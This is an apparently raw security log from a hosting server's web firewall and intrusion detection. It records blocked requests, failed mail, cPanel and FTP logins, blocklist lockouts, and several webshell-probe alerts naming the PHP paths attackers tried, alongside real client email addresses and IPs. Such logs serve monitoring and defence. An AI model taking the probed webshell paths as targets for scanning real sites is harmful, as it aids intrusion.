IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/select2/select2.min.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.187.178.96
country_id: 1562822
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/animate.css/animate.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.208.54.172
country_id: 1168579
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/themify-font/themify-icons.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.209.195.103
country_id: 3595528
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/bootstrap-4.1/bootstrap.min.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.130.21.52
country_id: 3469034
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/animsition/animsition.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 143.105.135.232
country_id: 3865483
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/mdi-font/fonts/Material-Design-Iconic-Fontd1f1.woff2?v=2.2.0 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.25.18.142
country_id: 1733045
description:
2026-01-22 13:42:58 dovecot_login authenticator failed for H=(NZakriAbdulGhan) [211.25.18.142]:54089: 535 Incorrect authentication data (set_id=hasmira@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.98.111
country_id: 798544
description:
Jan 22 13:43:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.98.111 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.104.192
country_id: 3469034
description:
Jan 22 13:43:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.104.192 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.196.142.25
country_id: 3469034
description:
Jan 22 13:43:07 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.196.142.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.110.118.44
country_id: 732800
description:
Jan 22 13:43:07 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.110.118.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.82.240.230
country_id: 3469034
description:
Jan 22 13:43:27 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.82.240.230 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.189.205.65
country_id: 3469034
description:
Jan 22 13:43:29 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.189.205.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.25.18.142
country_id: 1733045
description:
2026-01-22 13:45:59 dovecot_login authenticator failed for H=(NZakriAbdulGhan) [211.25.18.142]:57727: 535 Incorrect authentication data (set_id=hasmira@ajplantations.com.my)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.199.24
country_id: 1880251
description:
Jan 22 13:46:00 sv3 pure-ftpd[185223]: (?@47.84.199.24) [WARNING] Authentication failed for user [woodlinetrd@gmail.com]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-22 13:46:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:53208: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.175.147
country_id: 1733045
description:
[2026-01-22 13:46:34 +0800] info [webmaild] 175.139.175.147 - admin@pftfood.com "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.160.224.169
country_id: 272103
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/look/18/112/1853913 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/blog.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.196.87.72
country_id: 3469034
description:
Jan 22 13:50:52 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.196.87.72 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.196.87.72
country_id: 3469034
description:
Jan 22 13:51:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.196.87.72 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.34.226
country_id: 1269750
description:
Jan 22 13:51:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.34.226 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.185.147.158
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=65&page=2 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 67.204.23.12
country_id: 6252001
description:
Jan 22 13:51:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 67.204.23.12 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/images/img/druma_photos/article.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.34.226
country_id: 1269750
description:
Jan 22 13:52:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.34.226 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.240.133
country_id: 3469034
description:
Jan 22 13:52:25 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.240.133 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.175.147
country_id: 1733045
description:
[2026-01-22 13:53:02 +0800] info [webmaild] 175.139.175.147 - admin@pftfood.com "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/languages/images/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.227.33.153
country_id: 3865483
description:
Jan 22 13:55:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.227.33.153 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.227.33.153
country_id: 3865483
description:
Jan 22 13:56:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.227.33.153 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 142.111.53.58
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:14-00.142.111.53.58||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 113.211.37.45
country_id: 1733045
description:
[2026-01-22 14:00:49 +0800] info [webmaild] 113.211.37.45 - chuan@tschuan.com "GET /cpsess1903874427/3rdparty/roundcube/?_task=mail&_mbox=INBOX.spam HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.221.148.122
country_id: 3469034
description:
Jan 22 14:00:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.221.148.122 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 131.255.14.6
country_id: 3865483
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/images/highlight/02_01.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.172.132.232
country_id: 1562822
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/images/highlight/02_03.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.190.8.93
country_id: 1562822
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/images/highlight/02_06.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 119.73.116.147
country_id: 1168579
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/images/highlight/02_02.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.66.144.64
country_id: 953987
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/images/highlight/02_08.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.240.237.99
country_id: 1562822
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/images/highlight/02_05.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.161.109.241
country_id: 1562822
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/images/highlight/02_07.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.29.167.48
country_id: 248816
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/images/highlight/02_04.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.29.159
country_id: 798544
description:
Jan 22 14:05:04 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.29.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/img/photos/druma.php||SC:/home/indfinitydesign/public_html/images/img||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.217.42.188
country_id: 953987
domain: www.usfood.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.usfood.com.my/shop.php?id=4 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.228.187.106
country_id: 1269750
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=95421514528009 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 124.198.132.91
country_id: 6252001
description:
2026-01-22 14:09:28 H=([124.198.132.91]) [124.198.132.91]:53076 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<technical@arabiantrading.ae> rejected RCPT <cklee@ktlog.com.my>: SPF: 124.198.132.91 is not allowed to send mail from arabiantrading.ae


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.34.40
country_id: 1269750
description:
Jan 22 14:10:44 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.34.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.34.40
country_id: 1269750
description:
Jan 22 14:10:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.34.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.45.239
country_id: 953987
description:
Jan 22 14:11:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.45.239 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 219.248.65.30
country_id: 1835841
description:
Jan 22 14:12:22 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 219.248.65.30 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.248.65.30
country_id: 1835841
description:
2026-01-22 14:12:24 dovecot_login authenticator failed for H=([219.248.65.30]) [219.248.65.30]:57669: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.17.128.7
country_id: 1814991
description:
Jan 22 14:12:50 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.17.128.7 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.17.128.7
country_id: 1814991
description:
2026-01-22 14:12:52 dovecot_login authenticator failed for H=([58.17.128.7]) [58.17.128.7]:56965: 535 Incorrect authentication data (set_id=myloo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.222.46.223
country_id: 1269750
description:
Jan 22 14:13:56 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.222.46.223 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.222.46.223
country_id: 1269750
description:
2026-01-22 14:13:58 dovecot_login authenticator failed for H=(static.ill.117.247.82.240.bsnl.co.in) [117.222.46.223]:38628: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-22 14:14:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:53398: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.111.128.241
country_id: 2328926
description:
[2026-01-22 14:18:44 +0800] info [webmaild] 172.111.128.241 - chew@nexuscollection.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.63.132.238
country_id: 3175395
description:
Jan 22 14:18:29 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.63.132.238 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.216.0.79
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=967928 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 68.183.43.125
country_id: 2635167
description:
2026-01-22 14:19:26 532536 [Warning] Aborted connection 532536 to db: 'unconnected' user: 'unauthenticated' host: '68.183.43.125' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.19.143.13
country_id: 2510769
domain: www.myfurnitureshop.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.myfurnitureshop.com.my/contact_us.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-22 14:22:21 H=(localhost.localdomain) [78.153.140.207]:34932 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 168.91.14.38
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:14-25.168.91.14.38||RSV:7.64||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 202.40.181.214
country_id: 1210997
description:
2026-01-22 14:26:10 532827 [Warning] Aborted connection 532827 to db: 'unconnected' user: 'unauthenticated' host: '202.40.181.214' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.56
country_id: 690791
description:
2026-01-22 14:27:28 H=([77.83.39.56]) [77.83.39.56]:62803 F=<opskhulna@atlas-bd.com> rejected RCPT <khim@ktlog.com.my>: SPF: 77.83.39.56 is not allowed to send mail from atlas-bd.com


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.134.56.131
country_id: 1210997
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Ampang-Intake-Selangor-Malaysia/pipe-repair-ampang-intake-04.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.188.223.106
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Ampang-Intake-Selangor-Malaysia/pipe-repair-ampang-intake-02.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.47.141.105
country_id: 587116
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Ampang-Intake-Selangor-Malaysia/pipe-repair-ampang-intake-03.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-22 14:29:14 +0800] info [webmaild] 203.106.96.63 - ehsan@sutsb.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/question-some-questions-about-on-line-information/images/sliders/cdn-cgi/l/cdn-cgi/l/about.php||SC:/home/sutsbcom/public_html/question-some-questions-about-on-line-information||


plugin: modsec
rule: 77141095
name: IM360 WAF: Track spam in PrestaShop
abuser: 20.247.186.90
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Track spam in PrestaShop||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-json/contact-form-7/v1/contact-forms/8606/feedback||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.100.199.229
country_id: 3658394
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=28901516696291 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.168.25
country_id: 3469034
description:
Jan 22 14:30:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.168.25 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.227.8
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2021-Sultan-Flight-Pipeline-Brunei/pipe-connection-pipe-repair-sultan-flight-pipeline-01.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.166.32
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Merlimau-WTP/Ancillary-Engineering-merlimau-WTP-04.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.165.82.164
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Merlimau-WTP/Ancillary-Engineering-merlimau-WTP-07.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.137.30.196
country_id: 1269750
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Merlimau-WTP/Ancillary-Engineering-merlimau-WTP-08.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 1.55.201.215
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Merlimau-WTP/Ancillary-Engineering-merlimau-WTP-03.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.249.162.240
country_id: 630336
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Merlimau-WTP/Ancillary-Engineering-merlimau-WTP-05.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.13.25.99
country_id: 3996063
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Merlimau-WTP/Ancillary-Engineering-merlimau-WTP-11.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 143.105.136.182
country_id: 3865483
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Merlimau-WTP/Ancillary-Engineering-merlimau-WTP-10.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.73.184.100
country_id: 1210997
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Merlimau-WTP/Ancillary-Engineering-merlimau-WTP-06.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.59.213.67
country_id: 3865483
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Merlimau-WTP/Ancillary-Engineering-merlimau-WTP-02.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.185.135.48
country_id: 953987
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Merlimau-WTP/Ancillary-Engineering-merlimau-WTP-09.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.237.94.212
country_id: 3469034
description:
Jan 22 14:32:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.237.94.212 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.115
country_id: 3175395
description:
Jan 22 14:31:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.129.80
country_id: 99237
description:
Jan 22 14:32:12 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.129.80 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.250.201.45
country_id: 3469034
description:
Jan 22 14:33:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.250.201.45 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.187.204.108
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Palembang-Sewage-Indonesia/penstock-palembang-sewage-05.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.227.31.145
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Palembang-Sewage-Indonesia/penstock-palembang-sewage-03.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.236.120.252
country_id: 99237
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Palembang-Sewage-Indonesia/penstock-palembang-sewage-08.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.239.124.237
country_id: 1562822
domain: www.chs.com.my
description:
